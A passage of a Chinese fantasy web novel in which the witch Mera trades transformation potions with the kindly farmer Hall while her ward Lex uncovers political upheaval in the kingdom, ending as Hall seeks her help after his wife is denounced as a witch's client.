见霍尔如此宝贝这几瓶变形药剂,正常人难免会感到好奇,莱克斯也不例外。 变形药剂,顾名思义就是喝了能改变外表的一种药水,可莱克斯看着霍尔长的这一张,和他的名字一样平平无奇的脸,总觉得这不应该是他喝了变形药剂后捏造出来的面孔。 尤其霍尔既不是出了名的神偷,也不是需要改头换面以此躲避追捕的逃犯,他就是土生土长在附近某个村子里的村民,因此霍尔每个月都大费周章地找梅拉换取变形药剂的这一行为,在莱克斯这里就透着十足十的古怪。 “怎么了?我的脸上沾了什么脏东西吗?” 注意到莱克斯的视线一直停留在自己的脸上,霍尔下意识的往自己身上找原因。 “没有,是我刚刚不小心走神了。”莱克斯面不改色地找了个借口,随意地搪塞了过去。 他知道霍尔会相信的。 果然,霍尔点了点头,压根没提出任何疑问。 哪怕他刚才明明感觉到莱克斯的视线是凝聚而不是分散的,根本不像是他说的走神,但既然莱克斯这么说了,霍尔觉得莱克斯自然有他的理由。 霍尔的性格就如他的外表一样憨厚老实,是让人看了就认为值得信任的那类人。 也正因为霍尔是个老好人,当初在深夜的小路上遇到梅拉时,便没有怀疑她的身份,还觉得她一个年轻的姑娘独自在外容易遇到危险,主动提出要用自己的木板车送她一程。 即使后来得知她想去的地方是危机四伏的黑暗森林,霍尔还是咬牙答应了下来。 * 这回因为既没有突如其来的暴雨,也没有大雪的阻挠,霍尔来得比莱克斯还要早。 他站在树下,身旁就是满满一车粮食,见到莱克斯出现,还笑着和他打了声招呼。 “一个月不见,你好像又长高了啊。” 霍尔还记得上个月与莱克斯见面时,他只比自己高了半个额头,现在一看,莱克斯都已经比他高了大半个脑袋了。 简直比施了肥之后的小麦还要长得飞快。 “嗯。”莱克斯听了霍尔这话,想到梅拉也是这么说的。 因为天天都能见到对方,梅拉起初对莱克斯长高这件事并没有太大的感觉,毕竟莱克斯的身高也不是蹭的一下忽然拔高的。 随着梅拉一点点抬头,到最后不得不仰着脖子和莱克斯说话时,她才惊觉莱克斯竟然都长得这么高了。 眼瞅着都快赶上杜克瓦托了。 “我也没给你喝的水里偷偷倒生长药剂啊,怎么就能长得这么高。”梅拉低下头,用自以为只有一个人听见的音量嘀咕道。 在梅拉过去那些年见到的成年男子中,像杜克瓦托这样高大的身材才是罕见的存在,大部分也就比梅拉高半个脑袋——又因为梅拉是女人中难得一见的高挑身材,比她矮的男人她也见过不少。 梅拉曾经还拿这个当借口,拒绝了不少比她矮的追求者,不过话又说回来,哪个女人会喜欢比自己矮的丈夫呢? 至少梅拉决不能接受。 其实把梅拉的嘀咕听得一清二楚的莱克斯:“……” 原来梅拉曾经还想过偷偷往他喝的水里倒奇奇怪怪的药水吗? 他还以为梅拉不会做这么幼稚的事情。 现在看来是他高估梅拉的恶劣了。 在捉弄人这方面,梅拉可以说有着无穷的兴趣。 “对了,梅拉说,从下个月开始,变形药剂的价格她要往上翻一倍。”把这个月的三瓶变形药剂递出去的同时,莱克斯向霍尔转述了梅拉的话。 事实上,梅拉有涨价的念头已经很久了,自从通过杜克瓦托得知外头的物价飞涨,如今一枚金币能换一百枚银币,一枚银币能换四百八十枚铜币后,梅拉就再也按捺不住了。 “涨价!必须涨价!”梅拉单手支着腰,分外理直气壮。 虽然炼制变形药剂的原材料都是梅拉从黑暗森林各处薅来的,几乎没有投入多少资金,可以说是一门一本万利的生意。 但是如今物价飞涨,再按老价格把东西卖给霍尔,梅拉便有种自己吃亏了的感觉。 “我可以不主动占别人的便宜,但别人绝不能占我的便宜。” 这么多年过去了,梅拉还是这副吝啬的样子。 不知道为什么,莱克斯却有种安心的感觉,就好像不管外面的世界如何变化,梅拉总不会变。 不过,当莱克斯把这个不幸的消息告诉霍尔后,霍尔果然如莱克斯猜测的那样皱起眉头,陷入了短暂的沉默之中。 毕竟一瓶变形药剂的价格可不便宜,三瓶变形药剂加起来,都能买他这满满一车的粮食了。现在梅拉还要涨价,那他下回起码得拉两车的粮食来才行。 就算是手握一大片肥沃的土地,每年产出来的粮食都能把仓库堆满的霍尔,也不免感到一阵肉疼。 莱克斯本以为霍尔会试图和他讲价,或是请他向梅拉求情,然而霍尔的举动却出乎他的意料。 只见霍尔松开了紧皱的眉头,颇为赞同地点了点头,“梅拉小姐说得没错,她已经以这个价格卖了我这么多瓶变形药剂,是我占了她的便宜。” 不仅如此,霍尔还露出了十分懊恼的表情。 梅拉住在黑暗森林里深居简出,不知道外头的物价很正常,可他霍尔却是一直住在村子里,常年和粮食商人打交道,但他竟然没有早早地想到这一点,还占了梅拉这么久的便宜。 这真是太不应该了。 莱克斯的第一反应还以为是自己听错了,否则怎么会有人像霍尔这样,竟然替要赚自己钱的人如此设身处地地着想。 但他转念一想,这么做的人是霍尔,又觉得不愧是霍尔会做出的反应。 “说起来,最近王国里出了什么事吗?”莱克斯状似不经意地向霍尔打探到。 自从听到杜克瓦托说王国的物价飞涨时,莱克斯就察觉到了不对劲。 明明自从斐南基成为宰相之后,一直有在刻意地稳定金银铜三种钱币的兑换比例,避免其出现太大的波动。 金币的价格偶尔涨一涨是好事,这意味着同样一枚金币,能换到的东西更多了,但如果金币的价格一直飞涨,可就是坏事了。 或许对于底蕴丰厚的贵族们来说,短期内还能咬咬牙坚持住贵族的体面,但对于一年下来也未必能攒下几枚金币的平民们来说,这就是濒临破产的前兆。 平民们一旦破产,就会免费沦为当地贵族们的奴隶,在贵族眼里简直是件再好不过的事,他们不花一枚铜币就收获了许多能干活的劳力。 然而身为宰相,斐南基决不能允许这种事的发生。 平民的数量一旦减少,每年上交给国王的税金也会跟着骤降。 毕竟奴隶是不准拥有属于自己的财产的,他们的一切,包括身体都是属于贵族的私有物。 而贵族,他们肩负着为国王守卫一方领土的责任,是不需要向国王陛下缴纳税金的。 若是没了大把大把流入王宫宝库的金币,国王怎么养得起他的军队?那些骑士们需要的盔甲、战马,可没有一样是便宜的。 而国王若是失去了拱卫在他周围的骑士们,那他屁股底下的王位十有八九就保不住了。 斐南基想得通透,做起事来也是雷厉风行。 在他的主持下,一枚金币能兑换六十枚银币,一枚银币能兑换二百四十枚铜币这种情况至少已经维持了五六年。 若是不出意外,这种稳定的局面本来还能再撑许多年。 至少莱克斯本以为,在斐南基因为年纪衰老而力不从心之前,不会变。 而莱克斯离开王宫时,斐南基才四十岁。 算算时间,如今斐南基也不过才四十五岁,正是精力充沛的时候,怎么突然就控制不住局面了? “最近?没有啊。”让莱克斯这么一问,霍尔挠了挠头,反复回想最近有没有发生什么值得一提的大事。 片刻后,他笃定地点头,“对,没有。” 看来这并不是在最近发生的事。 莱克斯的心下一沉。 住在黑暗森林里就是这点不好,与世隔绝,几乎断了外面的消息来源。以至于王国发生了这么大的变化,莱克斯竟然毫不知情。 “那金银铜三种钱币的兑换比例是从什么时候开始发生变化的呢?”莱克斯换了个问法。 这回霍尔懂了,原来莱克斯想问的事这个,他很快给出了莱克斯想要的答案。 “噢,你说这个啊,大概从一年前国王陛下换了个新宰相开始就变了吧。” 霍尔顺着莱克斯的话回忆起来。 “一开始,一枚金币忽然能换出七十枚银币的时候大家伙还很高兴,毕竟拿到手里的钱变多了嘛。但没想到钱越多,粮食越不值钱,别看现在一枚金币能换一百枚银币,可一袋豆子都要二十枚铜币了!” 也就是说,现在想买一袋粮食,还要付出比之前更多的钱。 那还不如别换这么多钱呢! 这样的念头不断出现在霍尔这类手握土地的平民心中。 毕竟他们以后很有可能拿出三十枚铜币都未必能换到一袋豆子,但若是把这袋豆子留在家里,却能货真价实地填进肚子里充饥。 与此同时,又因为粮食变贵了,其它东西的价格也跟着水涨船高。 本来供养一大家子人就吃力,现在更是有不少平民直接因此而破产,不得不去到领主或者其他贵族的庄园上,成为他们的奴隶,为他们卖力地干活。 像霍尔认识的一个别的村子的人,曾经捏着比他还多的土地,养了七八个孩子,结果也不知道怎么回事,突然就没钱了,不仅土地全被收回了领主的手里,还倒欠领主一大笔债务。 只不过因为他一家子都成为了领主手下的奴隶,这笔债务也就不需要还了,谁让奴隶没法拥有属于自己的财产呢?债务也是财产的一种。 听到这个消息的霍尔当时吓得心脏都多跳了几下,最近过得越来越谨慎,生怕一不小心也和这人落到了同一个下场。 霍尔可不舍得他柔弱的妻子和他一起去当奴隶。 更何况,沦为奴隶之后,再想成为平民,那可比登天还难。 除非领主开恩,或是这名奴隶为王国创造了巨大的贡献,否则他辈子,包括他的孩子们,以及孩子的孩子,都只能继续当卑贱的奴隶。 后来霍尔在嘟囔些什么莱克斯已经忘了,或者说他根本没有多余的心情再关注这些,他满脑子里只剩下那一句“一年前国王陛下换了一个新的宰相”在盘旋。 斐南基被换了? 为什么? 哪怕是他还在王宫里,斐南基顶着努伦格尔九世的怒火为他求情了那么多次,努伦格尔九世再是恨斐南基恨得牙痒痒,也不曾找另一个愿意听话的贵族来顶替斐南基的宰相位置。 毕竟听话的贵族有很多,但像斐南基一样有真材实料,能替他打理好一个王国的贵族却少得可怜,不如说翻遍整个王国,努伦格尔九世都不可能再找到第二个斐南基了。 “那个新换上来的宰相叫什么名字?”莱克斯听到自己冷静地问。 “安东尼奥·裘德。”霍尔努力地想了想,从记忆的角落里翻出了这位大人物的名字。 虽然是一人之下万人之上的宰相,但这种大人物对霍尔来说,是他这辈子都碰不上的人,他的名字还不如邻居家的牛值得在意。 原来是裘德家族的人。 莱克斯的眼底燃着暗火,心底却有种果然如此的感觉。 因为那位把努伦格尔九世迷得颠三倒四,前王后的葬礼刚举办了没多久,就迫不及待将人娶进来的继王后的名字,正是伊莉雅·裘德。 第23章 第 23 章 [小情侣互动] 在莱克斯去见霍尔的时候, 梅拉正在小木屋里翻看他前些日子新抄好的笔记。 这其中有梅拉花大价钱,拜托杜克瓦托从不为人知的渠道买来的某位女巫遗落在外的手札,也有正常途径下,通过商人从某位医士后代手中买到的家族世代相传的笔记。 和女巫们向来喜欢记录自己天马行空的想法相比, 医士们的笔记就要严谨多了, 上头往往记载了某种草药的名字,药效, 产地, 以及相应的药方。字迹的一旁还附有插图, 方便后代在学习时进行记忆和辨认。 只不过随着时间的流逝, 曾经鲜艳的笔触已经褪色, 斩钉截铁的线条也变得模糊不清。 本来梅拉只打算让莱克斯誊抄字迹的部分,没想到就连插图,莱克斯都一丝不苟地复原了出来。 不仅如此, 莱克斯画得可比原来简陋的插图好多了, 哪怕是花瓣上深深浅浅的纹路都清晰可见。 梅拉觉得,任何一个看过莱克斯所画插图的人,即使没有见过实物,也不可能会辨认错长相相似的两种药草。 撇开栩栩如生的插画,莱克斯的字迹俨然值得额外的收藏,华丽的弧度和流畅的笔锋,让人光是阅读都觉得仿佛是一种享受。 与莱克斯一看就接受过良好贵族教育的字迹相比, 梅拉的字就显得颇具个人特色, 潦草中又带着一股自由的风气。 面对莱克斯欲言又止的眼神,梅拉仍然是一贯的理直气壮,“我又不在乎字写得不好看会被手底下的贵族们嘲笑,反正我本来就是平民出身, 没受过专门的书写训练不是很正常的事吗?” 别说接受专门的书写训练了,就是最基础的识字这一方面,绝大多数平民受到的教育也和莱克斯不同。 如果说莱克斯泡在浩瀚的藏书之中,接受了最全面的识字教育,那梅拉的识字就是从认识草药的名字开始,她能写出最生僻的草药名,却不一定能成功拼写出“塔夫绸”这个单词。 除了贵族和有钱的商人之外,谁会舍得花大价钱买这么贵的布料做一身衣服? 梅拉从小到大都穿着麻布织成的衣裙,唯独睡裙是威普多特意给她买的棉质的,所以她到现在也只会拼写麻和棉这两个单词。 只不过因为相处的时间尚短,梅拉表现出来的样子还是很能唬人的。 直到有一天,梅拉忽然指着书上的一个单词,问莱克斯这是什么意思,莱克斯才终于发现,原来跳出梅拉熟悉的领域后,那些又臭又长的文字对她来说全然是陌生的存在。 “这个单词的意思是古典主义,你之前难道从没发现它和这本书写在封面上的第一个单词一模一样吗?”莱克斯的面色有些复杂。 如果说梅拉不认识这个单词的话,那她到底是怎么做到捧着这本书津津有味地看了快一个月的? “啊,真的一模一样呢!”在莱克斯的指点下,梅拉把书合上,特意去看了封面的第一个单词,结果还真是。 “原来这本书的名字叫《古典主义时期的爱情》*,我一直就把它叫做《爱情》,反正就是一男一女互相喜欢又不得不分开,最后一个孤独终老一个英年早逝的故事嘛。” 梅拉一点也没有为自己在莱克斯面前暴露出了知识上的短板而感到自卑,这么复杂的单词,她不认识是多么正常的一件事啊。 虽然梅拉说的没错,故事就是这么一个故事,主题也与爱情有关,但莱克斯就是有点难以接受梅拉在他眼里突然变成了半个文盲这一事实。 就好像一条做工精致的宝石项链,忽然发现上头有了一道并不完美的裂痕一样。 “莱克斯,你看起来好像很失望的样子。” 梅拉的双手搭在墨绿色的书封上,她则兀自微笑着凝望着莱克斯,仿佛一幅笔触艳丽,值得挂在走廊受到身份尊贵的客人们长久欣赏的肖像画。 “可是我不是早就告诉过你了吗?我只是一个医士的女儿,是你们贵族看不起,觉得没有礼仪与教养,连自己的名字都无法正确拼写,绝不愿意通婚的平民。”梅拉悠悠地道。 是的,她并不是什么名贵的肖像画,而是长在山野间的一朵漂亮的花。 虽然与众不同的美貌使得路过她的人们,即使是那些向来眼高于顶的贵族,都愿意驻足在她身边,流连这抹世间罕有的美丽,但她生来就不是长在昂贵的花瓶里,或是受到重重封锁的王宫花园中,需要精心呵护的花朵。 “能看懂,还能写出这么多的字,对像我这样的平民来说已经算得上很了不起了。” “即使是像这样一本在你看来毫无营养的爱情小说,”梅拉的指尖轻轻地划过粗糙的书封,一抹嫣红在珍珠白的甲床下流动,她冲莱克斯露出一个轻巧的笑容,“整个白松镇,也没有多少人能看明白上头书写的内容。” 说这话时,梅拉无疑是骄傲的,毕竟就像她说的那样,翻遍整个白松镇,能看明白这么厚厚一本爱情小说的人也找不出几个。 而梅拉之所以能看懂这本书,还是她后来学习了更多单词的缘故。否则以她过往从医士笔记和女巫手札中学到的知识,和爱情小说完全是八竿子打不着的内容。 换做另一个人,也未必有梅拉这样旺盛的好奇心,愿意学习别的东西。 说白了,人是很容易被自己的眼界限制住的,当他是一个杀猪匠时,他每天想的只有怎么更好地把一头猪开膛破肚;当他是一个税务官时,他满脑子都是今年能收上来多少税金;当他是一个牧师时,他的眼里心里都只有教会分发下来的经义。 所以梅拉不认识与草药、星象、预言等知识相关的古典主义这个单词,不是理所应当的吗? 可是话又说回来,如果不是因为梅拉的祖父早早地去世了,威普多愿意将梅拉作为自己唯一的继承人从小培养,她不可能懂得这些草药与治病救人的知识。 如果梅拉不是意外在山上遇上了那个神秘的女人,又用自己的聪慧得到了她的认可,她也不可能懂得星星运行背后的意义,不可能读懂水晶球里烟雾幻化出来的景象所饱含的深意。 现在莱克斯竟然要因为梅拉不懂得一个在他眼里看起来非常简单的单词而对她失望,梅拉微微眯起眼,毫不客气地质问回去,“你凭什么对我感到失望?” “就因为你懂得我不懂的东西?那你会拼写耀星环百合吗?知道把魔球草埋在积雪下一个月后就能获得自然变色的雪色魔球草吗?” 莱克斯让梅拉问得哑口无言。 “你瞧,你也不是完美的,可在我眼里,你能打扫干净这座小木屋,能及时找出我想要的小东西,还能帮我照顾好种在花盆里的植物们,就已经是令我感到满意的莱克斯了。” 莱克斯的嘴唇动了动,似乎想说点什么,可在看到梅拉的眼睛时,又止住了。 那曾经在他看来像幽深的潭水一样可怖的绿色,如今简直闪着剔透的智慧的光。 “好了,作为让我生气的报复,你,来给我把这本书剩下的内容读完。”梅拉屈起食指,叩了叩书本,示意莱克斯现在就过来拿起这本书,完成她下达的命令。 莱克斯乖乖地走了过来。 他现在已经十五岁了,身量早就和十二岁时男孩的模样不可同日而语,挺拔得像一棵茁壮成长的雪松,连原本青涩的线条都被拉长,形成分明的棱角,眉目间隐隐具备了一股令人不敢质疑的气势。 导致曾经还敢光明正大地欺负他的塞拉斯,渐渐只敢在口头上占他的便宜,还必须站在窗台这样随时能展翅飞走的地方,防止莱克斯把它抓到手心里欺负回来。 而就是这样一个气质卓尔不凡,相貌英俊,活像是从故事中走出来的少年,正捧着一本爱情小说,读得磕磕绊绊。 “……科里森哀伤地看着他的爱人,不敢置信她那对柔软的唇瓣怎么能吐出如此冰冷残酷的语句……” 瞥见莱克斯耳垂上的薄红,梅拉得意地挑眉,看,她成功地报复到了莱克斯,让他读这些令他感到羞耻的文字,以至于额头都冒起了一层细汗。 而原本令梅拉觉得有些乏味的故事走向,此刻突然显现出了另一种值得拍手称赞的趣味。 * 莱克斯带着满满一车粮食,以及霍尔的答复回来了。 听莱克斯说霍尔同意了她要涨价,梅拉漫不经心地点了点头,一点也没感觉到意外。 比起这个,她更关心霍尔这次送来了哪些粮食。 “西红柿、豆子、球茎……”梅拉托着下巴,望着敞开的麻袋中,颜色形状各异的食材,“我决定了,明天想吃烘豆饼!” 梅拉所说的这个烘豆饼,做法并不难,其实就是普通的豆饼,再在制作的时候加上牛乳、白砂糖、黄油、肉桂这类昂贵的材料,最后烘烤出难以抗拒的香气。 “塞拉斯也要吃!”塞拉斯积极地附和道,回忆起曾经吃过的美味的烘豆饼,它差点连口水都要从嘴角流出来了。 “好,那我明天就做烘豆饼当晚餐。”莱克斯点头。 不过他很快又问道,“那今晚的晚餐吃香煎水果丸子怎么样?” 正好他看到霍尔送来了半袋子葡萄干,还有别的一些当季的水果。 梅拉和塞拉斯没有异议,一致同意了莱克斯的这一提议。 香煎水果丸子混合了太多水果的香气与清甜,又被油一煎,煎出了无与伦比的留香,以至于哪怕陷入了深沉的睡梦中,都好像涂抹上了一层甘美的水果的汁液。 只不过梅拉的这个美梦被突然响起的敲门声给打断了,她迷迷糊糊地睁开眼,还没彻底醒过神,就下意识地指使莱克斯,“莱克斯,快去开门,看看是谁大晚上的来找我。” 莱克斯早在听到第一声敲门声时就有了醒来的迹象,如今听到梅拉的声音,眼中更是褪去了最后一点迷蒙,他走到门后,谨慎起见,只拉开了一条缝,方便看清外头站着的人影。 “谁?” “是我!”门外的人急切地道。 “霍尔?你不是回家了吗?怎么突然返回来了?不对,你是怎么找到小木屋的?” 梅拉听到门外响起的声音,立刻掀开身上的毯子站了起来,眼中布满了浓浓的疑问。 第24章 第 24 章 [梅拉与霍尔的相遇] 霍尔后来无数次回想起初次遇见梅拉的那一夜, 都无比庆幸,自己最终还是选择了答应送她一程。 虽然寂静的深夜里,除了霍尔与他的驴之外空无一人的道路上,一名少女突然从路边的草丛中扑出来, 怎么看都显得有些怪异, 换做其他人,估计会马不停蹄地驱赶驴子快点离开, 生怕招惹上什么麻烦。 但谁让梅拉如此幸运, 碰到的竟然是霍尔呢。 霍尔的名字在附近的几个村子里, 和老好人的招牌无异, 无论是谁拿着鸡零狗碎的事情找他帮忙, 霍尔都不会觉得不耐烦,还会热心地帮人把事情给解决了。 因此霍尔虽然觉得梅拉的来历大概有些古怪,却实在狠不下心来放着她不管。 毕竟梅拉的样子看起来正是非常需要人帮助的时候。 只见那头火红的长发凌乱地披在她的身后, 麻布织成的黑色罩裙到处让带刺的枝叶划拉出细碎的口子, 连鞋子都沾满了软烂的泥巴。 霍尔很确定今天附近数十公里内的区域压根没有下雨,也就是说,梅拉起码是从离这数十公里外的地方一路走过来的。 ……也有可能是逃,否则也不至于把自己搞得这样狼狈。 忽然,梅拉的怀里好像有什么活物动了一下,吓了霍尔一跳。 呃,霍尔揉了揉眼睛, 确认不是自己眼花了后, 又仔细地往梅拉怀里瞧了好几眼,才终于辨认出来那团黑压压的东西原来是只乌鸦。 也不知道是什么原因,让它在梅拉怀里蜷缩了起来,再加上身上黑漆漆的羽毛快和黑暗融为一体了, 这才让霍尔一开始忽略了它的存在。 “这是你在路上捡的吗?”霍尔忍不住指了指那只乌鸦。 “不,它是我的宠物。”梅拉摇头,没有选择对霍尔撒谎。 除了因为霍尔身上散发着浓烈的好人气息,让梅拉觉得就算说真话也没关系之外,其中也不乏存了一点试探的心思,她想看看霍尔的反应。 梅拉也没想到自己一路挑了最偏僻的小道逃走,好不容易甩脱了身后的追兵,打算趁着深夜绕到大路上,让格奥鲁多主教和菲斯特子爵派出来的那些人继续在森林里像无头苍蝇一样兜圈子时,竟然猝不及防遇见了驾着驴车归家的霍尔。 如果不是霍尔先一步出声,“抱歉抱歉,没有吓到你吧?” 梅拉大概会第一时间对他下一个昏睡咒。 以防万一,在彻底去到黑暗森林之前,梅拉并不想泄露自己的踪迹。 “没关系,是我不小心吓到你的驴了吧?”梅拉边说边不着痕迹地打量了霍尔好几眼。 光从长相来说,眼前这个男人找不出什么令人过目不忘的特点,棕发、褐眼,过于宽大的颌角和浓密的眉毛,梅拉见过的男人里十个有六个都长这个模样。 再看他身上穿的衣服,大概率是附近的村民没跑了。 “没事,没事,我的多尼克不是这样胆小的性格。”霍尔伸手摸了摸驴的脖子,像是安抚。 这头名叫多尼克的驴也十分给面子,轻轻地喷出温热的鼻息,水润的眼珠子静静地看着梅拉。 全然没有刚刚看到梅拉突然窜出来,惊慌失措的样子。 真是一头好驴。梅拉在心中夸道。 “不过,你刚刚说你怀里的这只乌鸦是你的宠物,”霍尔挠了挠头,“会养乌鸦当宠物的人可不常见啊。” 起初人们不喜欢乌鸦,是因为它们喜欢吃腐肉。 后来却是因为在与女巫有关的传言中,身边总是飞着一只乌鸦。 它们会在主人折磨普通人的时候发出捧场的笑声,有时还会充当女巫的帮凶,啃食她们捉来的人,让那人发出痛苦的嚎叫用以取乐自己的主人。 渐渐的,乌鸦在人们的眼里也就成为了不幸与厄运的象征。 不过么,霍尔内心里对这些传闻并不太相信。 都说女巫会把她见到的普通人统统抓起来折磨,从没有谁能逃出她们的手掌心。如果这是真的,那这些传言到底是通过什么办法传出来的呢? 倘若传出这些流言的那个人见了女巫还能活下来,岂不正说明了女巫并不像传闻中描述的那样残忍暴虐吗? 也因此,哪怕听到梅拉亲口说了怀里的乌鸦是她的宠物,霍尔也没有往她是女巫的方向进行糟糕的揣测。 不仅如此,霍尔甚至主动提出可以捎她一程:“年轻的小姐,这么晚了,一个人赶路不方便,你不如搭我的车一起走吧。” “你是说,你愿意带我一起赶路?”霍尔的反应比梅拉原本设想的还要意外。 她都做好了霍尔露出防备的准备。 “当然,这大晚上的,怎么能放任你一个年轻的姑娘自己走呢?这也太危险了。”霍尔道。 梅拉能看得出来,霍尔说的话都是真心的。 她也确实想借他的车坐一坐。 要知道从白松镇一路逃跑到现在,如果不是梅拉从小习惯了在山上爬上爬下,拥有异于常人的体力,估计还没跑出多远就得活生生累晕了。 其实要是塞拉斯的翅膀没有受伤,梅拉倒是可以让它带着自己直接飞往黑暗森林。 偏偏那个可耻的告密者为了提防塞拉斯这个宠物给梅拉报信,提前捉住了它,还把它关了起来。 塞拉斯废了老大劲,用嘴把笼子的栏杆咬弯,又不顾缝隙不够宽,硬生生挤了出来,把翅膀都折伤了,最后总算逃到山上找到了梅拉,告诉她千万别回去了,格奥鲁多主教和菲斯特子爵派了数百名骑士来捉拿她这个藏在白松镇的女巫。 梅拉听了,顾不得别的,趁他们还留在镇上打算等她回去来个瓮中捉鳖时,抱着受伤的塞拉斯一路逃亡。 也多亏了塞拉斯为梅拉争取来的宝贵时间,否则她能不能这么顺利甩掉那些追兵,还不一定。 “谢谢。”想到那些不知道有没有放弃的追兵,梅拉不再多作犹豫,一只手依旧抱着塞拉斯,另一只手则撑在木板车的边沿,一跳,整个人便坐上了木板车的后方。 她的双腿则悬在了半空中,随着木板车的前进而微微摇晃。 “哈哈,不用谢。”霍尔笑了两声,驱使多尼克按着原定的方向拖着木板车往前走去。 “虽然不知道你打算去哪,但现在时间这么晚了,不如先来我家休息一个晚上吧。”霍尔向梅拉发出了邀请。 等到明天天亮了,他再送梅拉去她想去的地方也不迟。 不过,霍尔考虑到自己的情况,觉得还是得提前和梅拉说明一下,“就是吧,我家里目前只有我一个人。但你放心,我父母以前住的房间是空着的,也收拾得很干净,等你住进去了可以把房门也一起锁上。” 这样梅拉就不用担心住到他一个陌生男人家里不安全了。 “不用了。”谁知梅拉却拒绝了霍尔的好意。 她也是为了霍尔着想。 假设那些追兵没有放弃对她的追捕,那他们极有可能顺着踪迹一路找到霍尔的村子,甚至直接找到霍尔的家,梅拉想,她还是不要给霍尔找麻烦了。 好人总该有好报吧? “那你打算去哪?”霍尔犹豫了一会儿,觉得不然今晚他就好人做到底,干脆把梅拉送到她想去的地方再回家好了。 反正家里的鸡鸭鹅都留有足够的食物,应该不至于他晚回去一天就被饿死了。 “如果我说,我想去黑暗森林呢?”梅拉的声音悠悠地从霍尔的身后飘来。 多尼克还在往前走着,车轮骨碌碌地碾过泥地,留下两道深深的车辙,拉着套在多尼克身上的绳子的霍尔,身体却陡然一僵。 他刚刚没有听错吧?她说要去哪?黑暗森林?那个恐怖且危机四伏的黑暗森林? * 霍尔最后还是答应了下来。 哪怕他已经隐隐猜到了梅拉的身份或许并不像他想象的那样简单。 她应该是女巫吧。霍尔想。 可他并没有从她身上感受到危险的气息,她也不像传说中一样要把他抓起来折磨的样子。 等等,或许她是打算等到黑暗森林再动手呢? 霍尔畏惧地咽了咽口水,又不敢发出太大的动静,生怕让梅拉觉察异样。 其实霍尔完全可以想个借口拒绝梅拉。 然而一想到这里距离黑暗森林至少还有五公里远,如果没有他的帮助,梅拉就得靠两条腿硬生生走五公里,怕是鞋底都得直接磨穿。 霍尔无法控制地心软了。 说不定情况没有那么坏,梅拉并不是女巫呢?又或许她是个难得一见的好女巫。 霍尔想方设法地自我安慰到。 接下来碰到岔路口的时候,霍尔一拉手中的绳子,促使多尼克调转方向,朝通往黑暗森林的那条道路走去。 “在天亮之前,我们应该就能到黑暗森林附近,到时候……”霍尔想说到时候我们就分道扬镳吧。 真让他进入黑暗森林,他是绝对不敢的。 但没等他想好如何委婉地与梅拉商量他们分开这件事,梅拉却主动接上了他的话:“到时候我们就分开吧。” 梅拉倒也不是非要为难霍尔。 能碰到霍尔,并且霍尔愿意把她送到黑暗森林附近,已经属于是意外之喜了。 “那可真是太好了……”霍尔太过高兴,一不小心就把心里话都秃噜了出来。 好在他小心翼翼地扭头,试图查看梅拉的脸色时,发现她正在给怀里的乌鸦梳理羽毛,像是没听到他刚才说的话似的。 注意到霍尔的视线,梅拉抬头,朝他露出一个不解的微笑。 “没什么,我只是想给多尼克拿根胡萝卜。”霍尔此地无银三百两地替自己解释了一句。 幸好他的兜里真的还藏着半根胡萝卜,正好现在拿出来喂给多尼克。 也是辛苦它带着他木板车奔波了整整一天一夜。 离黑暗森林还有五六米的时候,多尼克的蹄子停了下来。 看着不远处阴郁压抑的森林,霍尔喏喏地道:“黑暗森林到了。” “谢谢。”梅拉抱着塞拉斯,从木板车上跳下来,再一次与霍尔道谢。 “不、不用了,祝您好运。”霍尔紧张到没发现自己对梅拉用了敬称,马不停蹄地赶着多尼克调转方向,往回走去。 梅拉看着霍尔离去的背影,轻轻地念了一串咒语,如果以后霍尔遇到麻烦想找她帮忙的话,这个咒语就能带着他来见她。 虽然当时的霍尔完全没想过,他还会有来找女巫帮忙的那一天。 * 霍尔喘着粗气,把自己离开黑暗森林后的事情简单地交代了一下。 当时他正推着木板车打算回家,结果在路上遇到了村子里的一个小姑娘明妮。 “明妮,你怎么往这么危险的地方跑?”霍尔难得朝人板起脸,他的身后就是黑暗森林,虽然他有了女巫的允许后,可以毫发无损地进去又出来,可明妮跟他不一样。 如果她就这么带着好奇心冒冒失失地闯进去,说不定会碰到危险。 “霍尔叔叔,我都知道的,你每个月都要往这里跑一趟。”明妮却道。 霍尔的脸色变了一下,像是让明妮的话打了个措手不及。 但他这么多年顶着压力来与梅拉进行交易,胆量早就练了出来,至少暂时还能稳住脸上的表情,骗过明妮这样的小孩子。 “哎,霍尔叔叔也不瞒你,这黑暗森林外围有很多好东西,柴火、菌子……都是宝贝。但这是大人才能来的地方,你懂吗?小孩子如果轻易靠近这里,会被野兽叼走吃掉的。” “这些都无关紧要,霍尔叔叔,我是特地来找你的。”明妮的脸上流露出不加掩饰的着急。 “发生了什么事?你说出来,霍尔叔叔一定会帮你的。”霍尔蹲下来,想摸摸明妮扎了两根辫子的脑袋。 明妮却紧紧地握住他的手臂,“霍尔叔叔,乔安妮婶婶被霍华德大叔带走了,我听到了,他想把乔安妮婶婶带去见领主大人。” “他说,乔安妮婶婶的脸早就毁了,如今能变成这么漂亮的样子,一定是与女巫做了交易。” “他要大义灭亲,揭发乔安妮婶婶。” 听了明妮这一番话,霍尔的手顿时从明妮的脑袋上失力滑落,他的眼睛瞪得巨大,仿佛不敢置信自己的亲哥哥竟然会这么做。 什么大义灭亲,霍华德那家伙一定是馋领主的赏金了。如果能确定乔安妮与女巫有关系,作为揭发她的人,霍华德能拿到整整二十枚金币的赏金。 “不,不,我是不会让他这么做的。”霍尔丢下木板车,拔腿就想往家里跑。 明妮却死死地拖住他的手,阻止了他,“霍尔叔叔,你如果就这么回去,待会霍华德大叔把你一起交给领主大人怎么办?你可是乔安妮婶婶的丈夫,她与女巫交易这事你也是知情人,知情不报会被领主大人派人把你活活打死的。 ” 对,对,明妮说的没错,霍尔愤怒的脑袋冷静了一些,接着他头也不回地往黑暗森林里冲。 他要去找梅拉,他想,梅拉一定会有办法的。 只不过,他不知道梅拉的小木屋具体在什么位置,梅拉也说对他这样的老好人来说,知道得太多不是什么好事,所以一直只让他在树下交易。 因此直到月亮高高挂在天幕上,一身狼狈的霍尔才终于敲响了小木屋的门。 好在有梅拉的咒语在,霍尔一路找来都没被什么野兽盯上,只不过他心里着急,跑起来不管不顾的,跌撞了好几次。 沾了一身的泥和草叶。 “所以,有什么办法能帮帮我吗?”霍尔一脸期盼地看向梅拉,他深知与梅拉做交易的方法,立刻补充了一句,“不管需要多少钱,就算是我的全部身家,我也愿意支付。” 闻言,梅拉的唇角噙上了一抹笑意,“办法么?当然是有的,就看你想要怎么做了。” 看在霍尔是老顾客的份上,梅拉贴心地给出了好几个选择,任他挑选。 第25章 第 25 章 [梅拉为霍尔的困境提供…… “这是一瓶隐形药剂。” 